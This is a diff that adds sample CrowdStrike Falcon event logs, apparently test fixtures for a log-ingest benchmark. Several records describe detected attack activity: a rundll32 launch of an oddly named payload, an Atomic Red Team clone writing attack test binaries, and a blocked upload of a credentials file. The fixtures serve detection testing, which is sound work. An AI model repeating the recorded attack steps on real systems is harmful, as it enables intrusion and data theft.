+{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log new file mode 100644 index 0000000000..608b0a16d2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log @@ -0,0 +1,13 @@ +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":0,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581542950710,"version":"1.0"},"event":{"UserId":"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz","UserIp":"10.10.0.8","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1581542950,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"1234567890abcdefghijklmnopqr"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"-1"},{"Key":"appId","ValueString":"siem-connector-v2.0.0"},{"Key":"eventType","ValueString":"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"}]}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581543577147,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581543577147}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":2,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581545677554,"version":"1.0"},"event":{"UserId":"bob@company.com","UserIp":"192.168.6.3","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581545677554}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1581546248000,"version":"1.0"},"event":{"UserId":"chris@company.com","UserIp":"192.168.6.13","OperationName":"update_group","ServiceName":"groups","AuditKeyValues":[{"Key":"group_id","ValueString":"3c80ce30b9654cb4bd15beec6a517e65"},{"Key":"action_name","ValueString":"add_group_member"}],"UTCTimestamp":1581546248}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":4,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601312140,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"requestResetPassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601312140,"AuditKeyValues":[{"Key":"target_name","ValueString":"alice@company.com"}]}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":5,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601341730,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601341730}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601520236,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"changePassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601520236,"AuditKeyValues":[{"Key":"target_name","ValueString":"first.last@company.com"}]}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":7,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601572362,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"userAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601572362}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601814754,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601814754}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":9,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601820289,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"selfAcceptEula","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601820289}} +{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":10,"eventType":"UserActivityAuditEvent","eventCreationTime":1581603262000,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"},{"Key":"new_state","ValueString":"in_progress"},{"Key":"assigned_to","ValueString":"First Last"},{"Key":"assigned_to_uid","ValueString":"first.last@company.com"}],"UTCTimestamp":1581603262}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log new file mode 100644 index 0000000000..c9e64ad5be --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log @@ -0,0 +1,2 @@ +{"metadata":{"customerIDString":"123123abcd","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStopped","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686839378,"AuditKeyValues":[{"Key":"eventType","ValueString":"All event type(s)"},{"Key":"APIClientID","ValueString":"APIID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"2"},{"Key":"appId","ValueString":"APPIDTEST"}],"Attributes":{"APIClientID":"APPCLIENTIDTEST","appId":"APPIDTEST","eventType":"All event type(s)","offset":"2","partition":"0"}}} +{"metadata":{"customerIDString":"123123abcd","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686849556137,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686849556,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"APICLIENTID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"8"},{"Key":"appId","ValueString":"APPIDTEST"},{"Key":"eventType","ValueString":"All event type(s)"}],"Attributes":{"APIClientID":"APICLIENTID","appId":"APPIDTEST","eventType":"All event type(s)","offset":"8","partition":"0"}}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log new file mode 100644 index 0000000000..71efbee9aa --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712858,"eventType":"CSPMIOAStreamingEvent","eventCreationTime":1663011160000,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","PolicyId":249,"PolicyStatement":"EC2 instance manually deleted by IAM user","CloudProvider":"aws","CloudService":"EC2","Severity":1,"SeverityName":"High","EventAction":"TerminateInstances","EventSource":"aws.cloudtrail","EventCreatedTimestamp":1663011160,"UserId":"AIDAXRCSSEFWEAH3BLR2Z","UserName":"cs_internal_service_acct","UserSourceIp":"81.2.69.144","Tactic":"Impact","Technique":"Data Destruction"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log new file mode 100644 index 0000000000..723fc4c067 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712611,"eventType":"CSPMSearchStreamingEvent","eventCreationTime":1663009688832,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","Region":"us-west-2","ResourceId":"i-0108fce80eXXXXXXX","ResourceIdType":"Instance Id","ResourceName":"","ResourceCreateTime":0,"PolicyStatement":"EC2 NACL configured for global ingress","PolicyId":26,"Severity":1,"SeverityName":"High","CloudPlatform":"AWS","CloudService":"EC2","Disposition":"Failed","ResourceUrl":"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX","Finding":"Instance ID:i-0108fce80e5ab5129|VPC ID:vpc-0e886040c27d9f526|Network ACL ID:acl-005e6bb98e75ac17e|Rule Number:100|CIDR Block:0.0.0.0/0|Protocol:All","ResourceAttributes":"{\"ACL ID\":\"acl - 005e6 bb98e75ac17e\",\"VPC ID\":\"vpc - 0e886040 c27d9f526\",\"Platform\":\"Linux\",\"Instance ID\":\"i - 0108 fce80eXXXXXXX\",\"Launch Time\":\"2022 - 09 - 12 17:11:06 + 00\",\"Instance State\":\"running\"}","Tags":[{"Key":"cstag-business","ValueString":"Sales"}, {"Key":"cstag-accounting","ValueString":"dev"}, {"Key":"cstag-department","ValueString":"Sales - 310000"}, {"Key":"Slackbot Env UUID","ValueString":"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75"}, {"Key":"Name","ValueString":"CS-SE-Demo-KALI-ROBERT.WILSON"}, {"Key":"Slack_User","ValueString":"bob.smith"}, {"Key":"cstag-owner","ValueString":"jane.doe"}],"ReportUrl":"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2","Timestamp":1663009688832}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log new file mode 100644 index 0000000000..7471623ccb --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log @@ -0,0 +1,2 @@ +{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}} +{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log new file mode 100644 index 0000000000..312136faa4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"DetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1686845212400,"ProcessEndTime":0,"ProcessId":123123,"ParentProcessId":321321,"ComputerName":"ELASTICHOST","UserName":"ELASTICUSER","DetectName":"NGAV","DetectDescription":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":2,"SeverityName":"Low","FileName":"TESTFILE.exe","FilePath":"\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE","CommandLine":"\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding","SHA256String":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","MD5String":"49f30e09200e7b59edc5ef32fbd0442c","SHA1String":"7e54a24d4df5b7fe4a75d7ce1c027705c368666b","MachineDomain":"INTERNAL","NetworkAccesses":[{"AccessType":0,"AccessTimestamp":1686845157,"Protocol":"TCP","LocalAddress":"10.0.0.1","LocalPort":53517,"RemoteAddress":"67.43.156.1","RemotePort":443,"ConnectionDirection":0,"IsIPV6":false},{"AccessType":0,"AccessTimestamp":1686845158,"Protocol":"TCP","LocalAddress":"10.0.0.2","LocalPort":53518,"RemoteAddress":"67.43.156.1","RemotePort":80,"ConnectionDirection":0,"IsIPV6":false}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID","SensorId":"sensorid123","IOCType":"hash_sha256","IOCValue":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","DetectId":"detect::id::test","LocalIP":"89.160.20.112","MACAddress":"1c-2d-b3-4a-56-7e","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"","ParentCommandLine":"","GrandparentImageFileName":"","GrandparentCommandLine":"","HostGroups":"hostgroupsID","AssociatedFile":"\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe","PatternId":5728}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log new file mode 100644 index 0000000000..b9deb927b5 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log @@ -0,0 +1,15 @@ +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}} +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"}